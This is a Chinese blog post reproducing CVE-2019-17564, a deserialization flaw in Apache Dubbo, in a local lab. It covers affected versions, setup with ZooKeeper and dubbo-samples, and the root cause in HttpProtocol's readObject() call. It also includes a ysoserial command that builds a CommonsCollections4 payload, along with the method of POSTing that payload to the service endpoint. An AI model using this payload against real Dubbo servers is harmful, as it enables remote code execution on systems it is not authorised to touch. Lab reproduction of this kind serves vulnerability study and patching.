CVE2019-17564 Apache Dubbo反序列化漏洞复现

0x00 Apache Dubbo介绍

一款开源的高性能服务框架,使得应用可通过高性能的RPC实现服务的输出和输入功能,可以和Spring框架无缝集成。
Dubbo提供了面向接口的远程方法调用、只能容错和负载均衡、服务自动注册和发现。

0x01 漏洞影响版本

  • 2.7.0 <= Apache Dubbo <= 2.7.4.1
  • 2.6.0 <= Apache Dubbo <= 2.6.7
  • Apache Dubbo = 2.5.x

0x02 环境配置

  1. github下载地址:https://github.com/apache/dubbo-samples
  2. 分离http部分:
  3. 下载Zookeeper: https://mirrors.tuna.tsinghua.edu.cn/apache/zookeeper/
  4. 配置ZooKeeper:
    (1) 修改conf/zoo.sample.cfgzoo.cfg
    此处的dataDir设置成非C盘目录即可,其他为默认配置

    (2)cmd下启动bin/zkServer.cmd
  5. IDEA配置:
    (1)点击编辑配置:

    (2)配置运行主类:

    (3)修改jdk版本为1.8:

    (4)修改pom.xml:
    修改dubbo版本为受影响的版本:

    添加commons-collections4-4.0: (使用4.4版本会报错)

    (5)由于zookeeper会运行jetty默认在8080端口,而dubbo会运行tomcat也会占用8080端口,因此修改tomcat运行端口为9090:

    (6)点击三角形符号即可运行dubbo服务

    运行成功截图:

0x03 漏洞复现

  1. 漏洞复现
    使用ysoserial.jar生成poc:
java -jar ysoserial.jar CommonsCollections4 "calc" > payload.out

burp导入poc文件post请求/org.apache.dubbo.samples.http.api.DemoService执行calc成功:

2. 漏洞原因
dubbo-2.7.3.jar!\org\apache\dubbo\rpc\protocol\http\HttpProtocol.class使用了handleRequest方法处理和响应请求

此处直接readObject()导致反序列化漏洞

posted @ 2020-05-09 01:24  flashine  阅读(235)  评论(0编辑  收藏  举报